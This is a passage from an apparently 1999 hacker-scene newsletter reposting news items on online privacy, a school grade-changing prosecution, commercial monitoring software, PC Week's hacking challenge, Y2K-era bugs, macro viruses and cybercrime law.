easily spin out of control and hobble consumer e-commerce. The report suggests
that the FTC, rather than pumping out reassuring messages to the industry, take
the following steps:
o Sound the warning signal early. Rather than burying its head in the sand, the
FTC should be pushing companies to take bigger and faster strides toward
complying with already established privacy principles.
o Push for open profiles. Companies should be required to make customer
profiles available to users, similar to the My CDNOW section of CDNOW. The
profile should contain all partners with whom data is shared, the ability for
customers to control who the information is shared with and the option to
remove themselves from the list.
o Pressure third party privacy firms. Because independent privacy groups like
Truste and BBBOnline earn their money from e-commerce organizations, they
become more of a privacy advocate for the industry -- rather than for
consumers. The FTC should call for a consumer-based organization to provide
principles and redress.
-=-
HNN Privacy Statement
"You have zero privacy anyway, Get over it." -
Scott McNealy, Chief Executive Officer, Sun
Microsystems, Inc.
You have no Privacy. Remember that. So what is the
purpose of this document? Well Microsoft and IBM will not
advertise on web sites without "Privacy Statements".
Where Microsoft and IBM travel others are sure to follow.
So to appease the advertising companies we post this
document, not because it will make any difference in the
long term but to make some people feel good.
Like it or not about the only way HNN can pay its bills is
with banner ads. No one likes them. But without them we
would not be able to buy any beer and that would be
worse. Face it this site is a lot of work and if it wasn't for
the fifty bucks in beer money those banner ads earn us
each month it is doubtful HNN would exist in the same
format. We have to get drunk once in a while.
So to appease the people with the money (i.e.
advertisers) we will post a privacy statement that details
what we will and will not do with any information you
choose to provide to HNN. This is just a statement. Of
course we reserve the right to change this policy at any
time and we may or not update this page. Since there is
no law that says we have to, why bother.
If you do not want to provide any information to HNN and
wish to remain completely anonymous (to us anyway)
then don't visit the site, or check out the folks at Zero
Knowledge (we sure hope they go gold soon). Just by
visiting you are giving us information about you.
Information we log, and store, and look at, and analyze
and drool over while we drink the aforementioned beer.
Yes, we lead exciting lives.
By connecting to HNN via http (the web) you provide us,
and any other web site, your IP address, your browser
type, your operating system, etc... all standard web log
stuff. Nothing to personal. If your DNS actually resolves
then we can find out approximately what part of the world
you are in and who your ISP is. Do we have time to do all
that? No. Do we want to? No. Do we care? No. Does it all
get written down in logs for us to look at if we so choose?
Yes.
If you choose to send us mail with our online web forms
there is data gathered there too. Web forms are not
anonymous. Not on our site or any other. Web forms will
automatically grab your IP address, browser and OS
types, and append that information to the email. Do we do
anything with this information? No. We do use it internally
sometimes to verify when one person is trying to send us
bogus stories, though.
If you choose to send us mail with the likes of HotMail,
Yahoo, or any one of the dozens of other free email
services you should be aware that the IP address of the
person who composed the email is usually stored within
the header. Again, we don't do anything with this
information other than to determine where certain stories
are from.
Email is stored locally for approximately one month,
sometimes less, sometimes more. Depends on how much
we have had to drink and how full the hard drive is. Then
it gets deleted never to be seen again. At the moment the
machine that email is stored on is not backed up so don't
worry about the feds taking all of our old tapes. We will
absolutely NOT harvest email address from our received
email and sell them to advertisers (Yes, we have been
asked to sell such lists). SPAM is evil, and must be
stopped. We will not contribute to its propagation under
any circumstances!
Speaking of the authorities, if they ever show up with a
search warrant they can gladly have all of our equipment.
I just hope they bring a very large truck and several burly
moving men. What this means to you is DO NOT send us
email about illegal activities you are planning. This only
implicates us and forces us to inform the authorities. Yes,
we will do that. We have a moral obligation to report
crimes and do not encourage such activities.
So what can you do about your general lack of privacy?
First, stop giving it away, stop filling out questionaires or
applying for things you don't need. Second, follow some of
these links and learn some more.
General Privacy on the Net Rant - Stolen from Freedom
Networks with Permission. A must read for the uninitiated.
http://www.hackernews.com/misc/private.html
NewOrder Box - Lots of Privacy and Anonymity Links
http://neworder.box.sk/box.php3?gfx=neworder&prj=neworder&key=anonym&txt=Anonymity
The Electronic Frontier Foundation - Fighters for Online Privacy
http://www.eff.org/
@HWA
11.0 Grade Changers Sentenced
~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by riot
Two students of Evergreen High School who broke into
the school computer systems and changed grades for
31 fellow students have plead guilty. The perpetrator
was charged with computer trespass and received a 30
day sentence with one year of probation. The students
who paid to have their grades changed have not been
charged but where suspended from school for 10 days.
The Columbian
http://www.columbian.com/09181999/front_pa/80694.html
SCHOOL COMPUTER HACKER PLEADS GUILTY
Saturday, September 18, 1999
By STEPHANIE THOMSON, Columbian staff writer
Adam Jerome, the hacker who boosted grades for
fellow students at Evergreen High School, pleaded
guilty Friday to one count of felony computer
trespass.
He is to be sentenced Oct. 7 by Superior Court
Judge Barbara Johnson.
Jerome's money man in the scheme, Phillip
Latimer, pleaded guilty Friday to misdemeanor
computer trespass and was handed a 30-day
sentence. Latimer, 18, will spend two days in Clark
County Jail. The other 28 days will be served on
work crew, and he will be on probation for one
year.
"Mr. Latimer was essentially the marketing
person for Mr. Jerome's services," said deputy
prosecutor Beau Harlan, in explaining to Judge
Johnson why Latimer was allowed to plead to the
lesser charge.
Latimer collected about $170 from students who
wanted their transcripts altered.
Jerome, 18, likely will face a stiffer punishment.
Harlan said he will recommend a 90-day
sentence for Jerome, who was on juvenile
probation for burglary when he hacked into the
school district's computer system.
"I'm not saying it's the crime of the century, but
it's serious," Harlan said Thursday. "It has cost the
school district a lot of money and caused a lot of
concern."
Harlan said Jerome altered 31 transcripts by
boosting grades, adding credits for courses not
taken or modifying schedules. Of those 31
transcripts, 22 belonged to students who paid
between $2 and $80 for the services. Some
students had as many as 15 or 16 grades changed,
including one for a course called "You and the
Law."
Harlan told Judge Johnson that school officials
estimate it will cost more than $15,000 to upgrade
the security on the computer system.
Latimer and Jerome will be ordered to pay
restitution, as yet undetermined.
Jerome leaves next week for his freshman year
at Seattle University.
"The goal, obviously, is to have the sentence
work out with his school schedule," said his
attorney, Jon McMullen.
He said his client had no idea hacking into the
school's computer system was a felony.
"He knew what he was doing was wrong, but
it's a question of how wrong," McMullen said after
the court hearing. "The concept was that it was a
school thing, like erasing grades in a grade book.
He thought he might be expelled, but not labeled a
felon for the rest of his life."
Latimer's court-appointed attorney, Mary
Arden, said Latimer attends Summit View High
School in Battle Ground and needs 21/2 credits to
graduate. Latimer plans to attend Clark College in
January with the goal of transferring to four-year
college, Arden said, and works for his brother's
construction company.
He also volunteers for Habitat for Humanity,
and Arden asked that he be sentenced to perform
community service.
But Johnson opted for jail and work crew.
"I think you should have some idea what that
experience is like," Johnson told Latimer, who has
no prior criminal record.
She asked why he participated in the scheme.
Latimer apologized and said the hacking started as
a prank.
"To this day I can't really say why I did it,"
Latimer said. "I just honestly know it was a
mistake."
As for the students who paid to have their
grades changed, Prosecutor Art Curtis said Friday
morning his office decided not to charge them with
any crimes.
"The only two individuals referred to
prosecutors by the Evergreen School District were
Mr. Jerome and Mr. Latimer," Curtis said. "The
district believes that all of the other students
involved in this situation were punished
appropriately by the school."
The students most of them seniors were
suspended for 10 days. Jerome was expelled and
not allowed to attend the graduation ceremony.
"We believe prosecution of the two most
culpable individuals serves justice in this case,"
Curtis said. "And we hope the students who are
not going to be prosecuted appreciate the break
they are getting."
Jerome's name surfaced in late April, when a
student told a teacher of a grade-changing scheme.
Jerome cooperated with school district officials and
police investigators, identifying the students with
altered records and showing administrators in the
district's computer office how he found lapses in
the system.
@HWA
12.0 Similar B02K Product Goes Commercial
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by Weld Pond
So Cult of the Dead Cow gets raked over the coals for
releasing B02K. Now this company is getting thousands
of dollars from high-profile corporations and government
agencies for essentially the same thing. This new
remote admin tool/trojan is called Investigator 2.0 from
WinWhatWhere. Will the Anti Virus vendors add this
software to their list of checked for items? Is the
difference between a malicious trojan and a helpful
program just the price tag?
TechWeb
http://www.techweb.com/wire/story/TWB19990917S0014
Wired
http://www.wired.com/news/news/politics/story/21847.html
TechWeb;
TechWeb;
Stealth Software Rankles Privacy
Advocates
(09/17/99, 5:19 p.m. ET)
By Stuart Glascock, TechWeb
A super stealthy software covertly monitors
all keyboard and application activity, then
invisibly e-mails a detailed report to the
employees' boss. While it bolsters IT's
ability to monitor workplace computer
usage, it troubles privacy advocates.
The newly upgraded software, Investigator 2.0 from
WinWhatWhere, runs silently, unseen by the end-user
as it gathers exacting details on every keystroke
touched, every menu item clicked, all the entries into a
chat room, every instant message sent and all
e-commerce transactions.
"You get shocking detail," said Richard Eaton, president
of WinWhatWhere, in Kennewick, Wash.
In one client case, a large grocery store chain suspected
an employee was wrongfully taking information.
Management installed the software and discovered the
suspect employee was saving accounting information
onto a diskette. In other cases, employees have been
busted for taking client lists and sales leads.
WinWhatWhere Customers have included sensitive
government agencies, private investigators, a trucking
company, a tool and die company, a penitentiary, a
dentist, and several libraries. Specific customers have
included the U.S. State Department, the U.S. Mint in
Denver, Exxon, Delta Airlines, Ernst & Young, the U.S.
Department of Veteran Affairs, and Lockheed Martin.
"People buying it the most are people in corporations
who need it because they suspect something is going on
in a department, so they put on a computer for a small
amount of time," Eaton said.
While it may sound Orwellian, electronic monitoring can
serve a purpose, said Jan Kallberg, chief operating officer
of CyberDefense, a New York company specializing in
protecting corporate digital assets.
"It can be a good thing if the
rules are set and everybody
knows the policies, then it eliminates the risk that
someone gets blamed who is without any guilt," he said.
It is not surprising that major employers are concerned
about employee computer use, but monitoring all their
keystrokes is frightening, said Lou Maltby, ACLU
director of employment rights.
"Employers who practice this kind of monitoring don't
have a clue as to what they are getting into," Maltby
said. "People now turn to the Web for all kinds of
information, including information about the most
sensitive personal issues imaginable. If you are a
member of [Alcoholics Anonymous], 20 years ago, you
went to a meeting. Today, you are just as likely to talk
to your support group over the Web. The same is true
for incest survivors and people who are HIV positive. If
you want to pry into your employees' deepest, darkest
secrets, there couldn't be a better way."
Workplace electronic monitoring calls out for new
privacy legislation, Maltby said, adding it is illegal for
employers to listen in on an employee's telephone call to
a spouse. But the same conversation over e-mail could
be read and posted on a bulletin board. No legislation
to address the issue is currently pending.
Privacy concerns aside, most corporations need
protection, and not just from people who are hacking
into their network, but from people working inside the
firewall, Eaton said.
"If it is used incorrectly it is horrible," Eaton said." If you
put it on with no suspicion or reason, that's wrong. But
if you suspect something is going on your equipment,
you have every right to do this."
Pricing runs from $99 for a single user to $5,500 for
site licensing.
@HWA
13.0 Mitnick, Encryption and the Law
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by Adam
A lot of people think the Mitnick case is done and over
but in legal circles the wrangling is just beginning. With
the wacky and unprecedented rulings made by Judge
Pfaelzer regarding encrypted evidence legal experts may
be studying this case for a while.
Forbes
http://www.forbes.com/penenberg
(Url provides a 404 error, tried appending .htm, .html and .asp etc -Ed)
14.0 Another 'hacker' challenge
~~~~~~~~~~~~~~~~~~~~~~~~~~
In all fairness to PCWEEK they did ask how YOU would go about testing
new security software... - Ed
Another 'Hacker' Challenge
From HNN http://www.hackernews.com
contributed by David
PC Week has taken a novel step and decided to actually
test the security of certain internet products. This
attempt should commended. Unfortunately the method
they chose isn't very scientific and is designed more for
publicity than anything else. With two servers, one NT
with IIS and one RedHat with Apache, the editors of PC
Week have invited the public to attempt to break in and
have offered a measly $1,000 gift certificate to anyone
who is successful. Any conclusions PC Week makes from
this experiment will not be very indicative of the real
world and will give consumers inaccurate information.
Hack PC Week
http://www.hackpcweek.com
APB Online
http://www.apbnews.com/newscenter/internetcrime/1999/09/20/hack0920_01.html
News Alert
http://www.newsalert.com/bin/story?StoryId=Cn:wXqbWbtLLnmda5&FQ=Linux&SymHdl=1&Nav=na-search-&StoryTitle=Linux
Hack PC Week;
Hack Our Servers and Win a $1000 Gift Certificate
How do you test security? Install similar applications on
two operating systems and invite the world to come in.
Departing from static testing these server are running a
real world application, based on a classified ad system for
a newspaper. This will test not only the operating system
but the entire implementation. For NT this includes ASP, IIS
and MTS, and SQLServer 7, while Linux will use Apache and mod_perl.
A sample logfile of activity (200k over 30minutes) during 'peak'
attack times is available for perusal here:
http://www.hackpcweek.com/axentlogsm.html
APB Online;
Magazine to Hackers: We Dare You
Issues $1,000 Challenge to Break Into a New Web Site
Sept. 20, 1999
By David Noack
NEW YORK (APBnews.com) -- Most Web
sites -- like The Drudge Report, the American
Stock Exchange, NASDAQ, ABC and the
NAACP, all victims in a recent rash of hacking
attacks -- would prefer that hackers never took
an interest.
But one computer magazine's testing lab is
actually enticing hackers to take a shot.
PC Week Labs has created a Web site for the
specific purpose of challenging hackers, and is offering a $1,000 gift
certificate to the computer cracker who breaks into the site.
The site is already operating and will remain online for one month --
assuming it doesn't get knocked out sooner.
Trying to mirror targeted sites
PC Week magazine is part of the Ziff-Davis family of computer magazines,
which range from Computer Shopper to PC Computing. The company also
operates several computer and high-tech Web sites and a computer news
cable television channel.
The challenge comes after a group calling
itself the ULG, for United Loan Gunman,
claimed responsibility for the latest string of
attacks. Computer security experts are trying
to determine if they are the same group as HFG, or Hacking for Girlies,
which crippled The New York Times on the Web last September.
In an effort to make the testing as accurate as possible, PC Week Labs is
using "near-identical" systems and server software as the Web sites that
were hacked, which is a combination of Microsoft's Windows NT 4.0, which
is running Internet Information Server (IIS), and Red Hat Linux 6.0, which is
using the Apache server.
Aim is to help public
The intended hack is a classified ad engine application running on each of
the two operating systems, and hackers are suppose to break into the site,
mark up the home page and steal user information.
"Security is extremely important in the Internet environment, and both
Microsoft and the Linux community, via Red Hat, boast that their operating
systems are secure," said John Taschek, director of PC Week Labs.
He said plans for the hacking challenge were in place months before the
high-profile hacking attacks.
"Our main goal is not to show which OS is most vulnerable," said Taschek.
"We anticipated there would be many times more attempts to break into
the NT site than the Linux site, simply because more people are familiar
with it, and more people have an agenda against Microsoft. Our goal is to
document how the hackers and crackers broke in and then to release to
the public, in the form of a story, how companies can boost up their
defenses against such attacks."
A challenging trend
The entire challenge will be tracked with the number of each hacking
attempt for the different operating systems and reported in an upcoming
issue of PC Week magazine.
The Web site is being hosted by AboveNet, a San Jose, Calif.-based
Internet service provider, and is using two-way servers from Compaq and
Dell.
The hacking challenge is part of a growing trend by companies and
computer security concerns to engage in so-called ethical hacking, where
hacking attempts are made to discover server vulnerabilities. Companies
are either hiring or contracting with hackers or security firms to perform the
service.
Critics call it 'publicity stunt'
Critics say hacker challenges are nothing more than public relations efforts
that prove little.
"Hacker challenges and the like are nothing more than publicity stunts.
Unfortunately they are becoming more and more popular with vendors
these days," said Space Rogue, editor in chief of the Hacker News
Network. "It gives them a very strong marketing angle: 'Our product
withstood umpteen-million hack attempts during our latest challenge.' This
just paints an inaccurate picture to the consumer. The consumer thinks
that oh, wow, it must be secure."
He said that companies involved in Internet security typically don't conduct
hacker challenges.
"The most knowledgeable people in the security business are busy making
a living fulfilling paid contracts from vendors who want a real security
analysis. They/we don't have time to feed someone else's marketing
machine," said Rogue.
Checking security components
Taschek said that any time a company conducts a hacker challenge it's
deemed a publicity stunt but insisted this one was different.
"We feel we're actually doing companies a favor by releasing details of how
hackers were successful and what worked well in our defense. I can assure
you that we're not just doing this for publicity," said Taschek, who added
that the magazine was not approached by any company to conduct the
test.
Rogue did say he's glad to see that the challenge is testing different
security components.
"About the only interesting thing I can see on this whole setup is that they
are 'testing' more than one thing. They have a complete e-commerce setup,
which is good because sometimes vulnerabilities in a product only appear
when used with other products," said Rogue.
Computer attacks on the rise
In the 1999 Computer Crime and Security Survey by the Computer Security
Institute and San Francisco office of the FBI, it found that hacking by
outsiders increased for the third year in a row, with 30 percent of
respondents reporting intrusions. The survey was released in March.
The survey is gleaned from responses from 521 security practitioners in
U.S. corporations, government agencies, financial institutions and
universities.
Those reporting their Internet connection as a frequent point of attack rose
for the third straight year, from 37 percent of respondents in 1996 to 57
percent in 1999.
Unauthorized access by insiders also rose for the third straight year, with
55 percent of respondents reporting incidents and 26 percent reporting theft
of proprietary information.
More attacks get reported
The survey also discovered a dramatic increase in the number of
respondents reporting serious incidents to law enforcement: 32 percent of
respondents did so, a significant increase over the three prior years in
which only 17 percent reported such events.
For the third consecutive year, financial losses due to computer security
breaches amounted to more than $100 million. Fifty-one percent of
respondents acknowledged suffering financial losses from such security
breaches, but only 31 percent were able to quantify their losses.
The most serious losses occurred through theft of proprietary information
(23 respondents reported a total of $42.5 million) and financial fraud (27
respondents reported a total of $39.7 million).
Outside threat rises
Although the results indicate a wide range of computer security breaches,
a growing trend is the continued increase in attacks from outside the
organization.
The trend was reinforced by other survey results. For instance, of those
who acknowledged unauthorized use, 43 percent reported from one to five
incidents originating outside the organization, and 37 percent reported from
one to five incidents originating inside the organization.
David Noack is an APBnews.com staff writer (david.noack@apbnews.com).
News Alert;
September 20, 1999 08:18
PC Week Labs Challenges Hackers To Crack Web Site; Establishes hackpcweek.com To Assess Security of
Windows NT and Red Hat Linux Systems
FOSTER CITY, Calif., Sept. 20 /PRNewswire/ -- In a major test of the security of Linux and Windows NT, PC Week Labs today threw down the gauntlet to Internet hackers,
challenging them to break into a Web site, http://www.hackpcweek.com, to try to crack each or both of the operating systems. The site goes live today for a one-month
trial.
The site contains near-identical systems, one running Windows NT with Internet Information Server (IIS) and the other running Red Hat Linux 6.0 with Apache as its web
server. PC Week Labs created similar classified-ads engine applications running on each system. The challenge is to break into the site, mark up the home page and steal
user information from the classified-ads engine.
"Security is extremely important in the Internet environment and both Microsoft and the Linux community, via Red Hat, boast that their operating systems are secure,"
noted PC Week Labs Director John Taschek.
PC Week Labs will track the number of attempts for each operating system and report the results in an upcoming issue of PC Week. Additionally, PC Week will issue a
prize to whomever hacks into the site first. The challenge terminates when the first hacker accomplishes any of the test challenges. Winners will receive
computer-equipment gift certificates of up to $1,000.
"Corporations, financial institutions and government agencies are susceptible from attack via the Internet," Taschek said. He cited figures from a 1999 survey conducted by
the Computer Security Institute and the FBI indicating that organizations reporting their Internet connection as a frequent point of attack rose for the third consecutive year
to 57 percent in 1999 from 37 percent in 1996. Financial losses due to computer security breaches were reported as exceeding $100 million this year.
Taschek also noted that, in recent weeks, the Nasdaq/Amex, the Drudge Report and ABC sites were all hacked in someway. Each of these three web sites runs either
Windows NT with IIS or Linux as their front-line web servers.
The hackpcweek.com site, being hosted by AboveNet, a San Jose, Calif.-based Internet service provider, is using Compaq and Dell two-way servers. PC Week Labs
created similar applications running on each system. For Windows NT, PC Week developed a classified ads engine based on a Microsoft guest book application; for Linux,
the Labs chose Smart Photo Ads, a popular classified-ads engine for the platform.
In addition, the competition is "open" to the general public via the Internet so that people can view how hacks are being made. Visitor interaction is encouraged and an
online discussion database will track users feelings about whether Windows or Linux has more open standards.
About PC Week
PC Week reaches 400,000 core e-business IT buyers at 217,000 Internet-connected sites. These buyers purchase Internet and intranet products and services, networking
and systems products for their organizations. They have an average budget authority of $11.9 million. PC Week delivers essential investigative news, solutions evaluation,
and business strategy for those charged with building .com enterprises. (Source: BPA)
About Ziff-Davis
Ziff-Davis Inc. is a leading media and marketing company focused on computing and Internet-related technologies, with principal platforms in print publishing, trade shows
and conferences, online content, television and education. Ziff-Davis provides global technology companies with marketing strategies for reaching key decision-makers.
Ziff-Davis has two series of common stock: one which is intended to track the performance of its Internet business ZDNet, and one which is intended to track the
performance of the ZD Group, which includes print publishing, trade shows and conferences, education, market research and television businesses and an 83 percent
retained interest in ZDNet.
SOURCE Ziff-Davis Inc.
/CONTACT: Barry Zusman of Plesser Associates, 212-319-8383,
bzusman@plesser.com, for PC Week/
/Company News On-Call: http://www.prnewswire.com/comp/987950.html or fax,
800-758-5804, ext. 987950/
/Web site: http://www.hackpcweek.com/
@HWA
15.0 9999 Caused at Least One Problem
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by Code Kid
A pharmaceutical factory on the southern island of
Hainan in China crashed on September 9, 1999. The
crash effected 11 systems and 20 platforms. This is the
only reported crash that we know of due to this bug.
Inside China Today
http://www.insidechina.com/news.php3?id=93699
China Reports First Crash From '9999' Bug
BEIJING, Sep 21, 1999 -- (Reuters) A
pharmaceutical factory in China suffered a computer
crash on September 9, 1999, when the system read
the date as a command to stop, the China Youth
Daily reported on Tuesday.
A system at the factory on the southern island of
Hainan read the date as an old programming cut-off
code in which four nines were used to tell computers
to stop processing data, it said.
China, believed to be one of the less well-prepared
countries for the Y2K computer bug that some
feared the four nines code would foreshadow, had
reported no problems on September 9.
The newspaper said the Hainan factory suffered a
crash of 11 systems and 20 platforms, but
production was not affected.
The factory director was warned the systems were not millennium-compliant,
but ignored requests for new computer equipment and service systems, the
newspaper said.
The Y2K, or millennium, bug could cause chaos in old computers
programmed to recognise years by the last two digits and could confuse
1900 with 2000 and crash.
A U.S. State Department report published earlier this month said inland
Chinese cities faced potential Y2K computer problems affecting banking,
communications, medical services and power.
However, China reported on Monday that a third and final Y2K test of its
financial system over the weekend was a success.
(C)1999 Copyright Reuters Limited. All rights reserved. Republication or
redissemination of the contents of this screen are expressly prohibited without
the prior written consent of Reuters Limited.
@HWA
16.0 Japans Virus Infestations at Record Pace
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by Code Kid
The Information Technology Promotion Agency has
reported 2,451 virus infestations so far this year. This
has already exceeded the entire number of cases from
all of 1997 which totaled 2,391, the most ever recorded.
The most prolific viruses reported where Happy99,
Melissa and ExploreZip with the highest infection method
coming through email.
Asia Biz Tech
http://www.nikkeibp.asiabiztech.com/wcs/leaf?CID=onair/asabt/moren/82335
Virus Infections in Jan.-Aug. Surpass Yearly Record of 1997
September 20, 1999 (TOKYO) -- The number of computer virus infections in Japan in
August reached 216 cases, and in the January-August period it registered 2,451,
according to a report released by the Information Technology Promotion Agency
(IPA).
The number of cases reported in recent months has trended downward. However, the
January-August damage cases exceeded the 1997 number of 2,391, the largest annual
total. It is now certain that 1999 will have the biggest number of damage cases
reported in a single year.
There were 25 types of virus incidents reported in August. Of those, Ska (nicknamed
Happy99) was reported most frequently, or 66 times. E-mail infections accounted for
76 percent of all infections.
According to the IPA, the trend in virus reports submitted in August was similar to
that of the previous month. The types of virus cases spread through e-mail increased,
including Happy99, Melissa and ExploreZip. New types appeared one after another,
including W97M/Opey, which was reported in August.
The IPA is warning users to take thorough prevention measures such as (1) to open
files attached to e-mail only after having them inspected by anti-virus software, and
(2) to constantly update virus-defining information through anti-virus software.
Related story: Computer Viruses in Japan on Steep Rise in Jan.-June '99; Close to '98
Total
(BizTech News Dept.)
17.0 Another Word Macro Virus Found
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by Michelle
After scouring the the alt.sex hierarchy of Usenet the
researchers at Network Associates have found and
identified yet another Word Macro Virus. The Suppl
Word macro virus, which was found in over 25 alt.sex
newsgroups, has been given a medium risk rating.
Computer World
http://www.computerworld.com/home/news.nsf/all/9909201virus
(Online News, 09/20/99 12:06 PM)
New Word virus hits Net
By Douglas F. Gray
LONDON -- Network Associates Inc. today announced it
has given a medium risk rating to a new virus posted to
Usenet newsgroups over the weekend.
The Suppl Word macro virus, which was posted to over
25 alt.sex newsgroups was discovered by Network
Associates' 24-hour Anti-Virus Emergency Response
Team on Friday, the antivirus software vendor said in a
statement issued today. The recent Melissa virus was
also discovered in the alt.sex newsgroups, the statement
added.
The Suppl virus has destructive power similar to
ExploreZip.Worm, which infected machines running
Microsoft Corp. programs in June, according to Network
Associates. Users infected with Suppl will spread the
virus, as well as suffer data loss, Network Associates
said. After the user is infected, the virus automatically
attaches a document called "SUPPL.DOC" to all
outgoing mail.
Approximately 163 hours after infection, the virus then
renders files with certain suffixes, such as .doc,
inaccessible.
@HWA
18.0 News from Sla5h our new Croatian correspondant
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sla5h can be reached here: smuddo@yahoo.com
18.1 Lawyer: Hackers Have Rights, Too
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Sla5h, smuddo@yahoo.com
Hackers, virus spreaders, and other computer criminals
are hard to catch but easy to convict -- mainly because
they almost always confess. So says Jennifer Stisa Granick,
a San Francisco-based criminal defense lawyer who specializes
in cybercrimes. Her clients include arch-hacker Kevin
Poulsen, who in the early 1990s ran riot through Pacific
Bell's computer system, electronically swiped a Porsche
from a radio station, and evaded pursuing Feds for 17 months
before winding up behind bars on a four-year sentence.
Once they are caught, hackers like Poulsen generally
confess, in part because of the unformed state of cyberlaw,
Granick said Thursday at Black Hat Briefings, an annual
cybersecurity conference in Las Vegas.
There are no clear rules on how to measure damage
done by a hacker, Granick explained to a roomful of security
professionals gathered at the Venetian casino-hotel.
For instance, prosecutors can claim that a hacker
who gained access to a list of thousands of credit cards
had the potential to steal millions of dollars worth of
credit, and so should be charged as if he had executed
the theft. The affected company can then add on the cost
of restoring its breached system's security.
"Companies come in with these hugely inflated estimates
of damages that are like a sword hanging over your head," said Granick.
"That scares defendants and attorneys into cutting a deal."
The ephemeral nature of the forensic evidence computer
criminals leave behind makes catching them uniquely difficult.
Burglars often leave fingerprints, are seen by
eyewitnesses, or trip up and reveal their connection to
stolen items. Electronic criminals, however, can mask their
identity by forwarding email through anonymous re-mailing servers
or through encryption, and what they steal, damage, or just view
without authorization can go long unnoticed.
Trusting the digital evidence that exists is tricky,
too, since electronic information can so easily be erased or
altered. Still, prosecutions of computer crimes are rising,
said Granick.
Law enforcement agencies -- particularly the Department
of Justice, which goes after most cyber-scofflaws -- are boosting
funding for and training on cybercrimes, she said.
"When you've got more money and better training, you start
finding more criminals." Unlawful possession of credit card information,
unauthorized intrusions into Web pages, and sending out viruses are
among the most commonly prosecuted transgressions.
@HWA
18.2 Cracking for the Man
~~~~~~~~~~~~~~~~~~~~
Contributed by Sla5h, smuddo@yahoo.com
Nearly two years ago, when Jeff Moss took a job as director
of security assessment for Secure Computing, the idea of
hacker types joining the computer security work force seemedfar-fetched.
Not any more.
Applications from even the big-name companies were
notoriously full of holes, after all, and there weren't many
people who knew how to find them.
"Companies hired people from the underground because
there were no other people available," said Moss, who is also
known in tech circles as the organizer of DefCon, the annual
Las Vegas gathering of hackers and computer security types.
Although corporations shied away from hiring anyone
with an actual criminal record, they weren't picky about how
somebody acquired their skills. So a mini-industry emerged
around the idea of "ethical hacking."
The phrase inspires images of black-clad code pushers
trading in underground connections for a corporate job, but
the reality is more mundane.
"There are a lot of people from the hacking scene who
are in corporate America, working away," Moss said. "There's
no incentive for them to draw attention to their past."
These days, Moss is doing what he can to establish closer ties
between the security side and the hacker underground. In July,
he organized the third session of Black Hat briefings, a computer
security conference bringing together corporate types, freelance
hackers, and government officials to hash out hot topics affecting
the industry.
The last session, held in Las Vegas, touched on everything
from the psychological profiling of virus writers to the military
strategy for defeating cyber-terrorists.
This fall, Moss is ranging far afield, launching Black Hat
seminars in Amsterdam and Singapore, with a similar mix of
officials and geeks.
"It has that sort of mystique in the sense of the people
who are speaking," Moss said. "One might be in a business suit,
and then you'll have a guy from Canada with blue hair talking about
ways to subvert dynamic routing protocols."
Edginess aside, Moss said he hopes to keep the focus pretty
technical. The hot topic will be computer forensics: the collection
and analyzing of information after a break-in occurs to evaluate
damage and track down perpetrators.
@HWA
18.3 Moscow Mayor's Site Hackski'd
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Sla5h, smuddo@yahoo.com
Moscow Mayor Yuri Luzhkov, fresh from winning an important
legal victory for his parliamentary election bloc,
faced a surprise attack from cyberspace Thursday.
Luzhkov's Fatherland party election campaign headquarters
said opponents had opened a bogus page on the Internet which
copied his official site but had data "blatantly distorting
Luzhkov's position and the facts of his private life."
"It is an unworthy move from the moral and ethical point
of view," a spokesman for Luzhkov's campaign headquarters said.
"This was created by a competing political organization."
Luzhkov is becoming one of Russia's most influential
politicians: As well standing for re-election as mayor on 19
December, his party is also expected to do well in national
parliamentary elections.
He is also tipped as a possible candidate in presidential
elections next year.
But some critics have zeroed in on his authoritarian
style and the bogus Web site capitalizes on this point.
Located at www.lujkov.ru, instead of the official
www.luzhkov.ru, the page shows him having turned Moscow into
his private empire, where his friends and relatives rule the
roost. There are also cartoons and photographs ridiculing the mayor.
Luzhkov's entry into national politics has been strewn
with difficulties. Wednesday he fought and won a battle in the
Supreme Court to be allowed to run in the parliamentary vote.
A new party of regional governors is also in the making,
aiming to undermine the alliance which Luzhkov has built with other
regional bosses for the elections. Luzhkov numbers the Kremlin
itself as one of his key political opponents.
@HWA
18.4 Anti Software Piracy Ads Entice Tattlers
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Sla5h, smuddo@yahoo.com
An advertising campaign against software piracy started in
New York in July has yielded dozens of leads from workers
willing to tattle on their companies.
The Business Software Alliance, a software industry-backed group
that combats piracy, spent $250,000 in July to buy billboards in
Times Square, ads on the Howard Stern radio show, and posters on
subway trains. The ads say "Hey, worker bee, use that stinger for
a change, report software piracy."
The ads resulted in 60 leads for lawyers to follow up, said Karine
Elsen, BSA marketing director in Washington.
"It's been a very successful campaign," Elsen said.
Software piracy, from people downloading programs off the Internet
or copying a program from their work computer and distributing it
to friends, cost the $140 billion industry $11 billion in revenue
last year, according to BSA. In 1998, U.S. businesses paid $4.5
million in fines and legal fees.
The worker bee campaign, now being waged in Chicago, brings in about
150 leads a month from throughout the United States, Elsen said. A
good lead gives the group enough information to approach the accused
company to do a self-audit. The New York leads have not produced any
action on BSA's part so far.
"It's too early for us, it takes a while," she said.
BSA is an international group with offices in London and Singapore.
Elsen said the stinger campaign has not been used in overseas markets.
"I don't think those workers would consider themselves worker bees,"
she said. "We do get good results from New York, maybe because there
are more disgruntled people."
@HWA
18.5 SERBIA THE FIRST CYBERWAR?
~~~~~~~~~~~~~~~~~~~~~~~~~~
Contributed by Sla5h, smuddo@yahoo.com
via Help Net Security http://www.net-security.org/
by Thejian, Friday 23rd September 1999 on 0:55 am CET
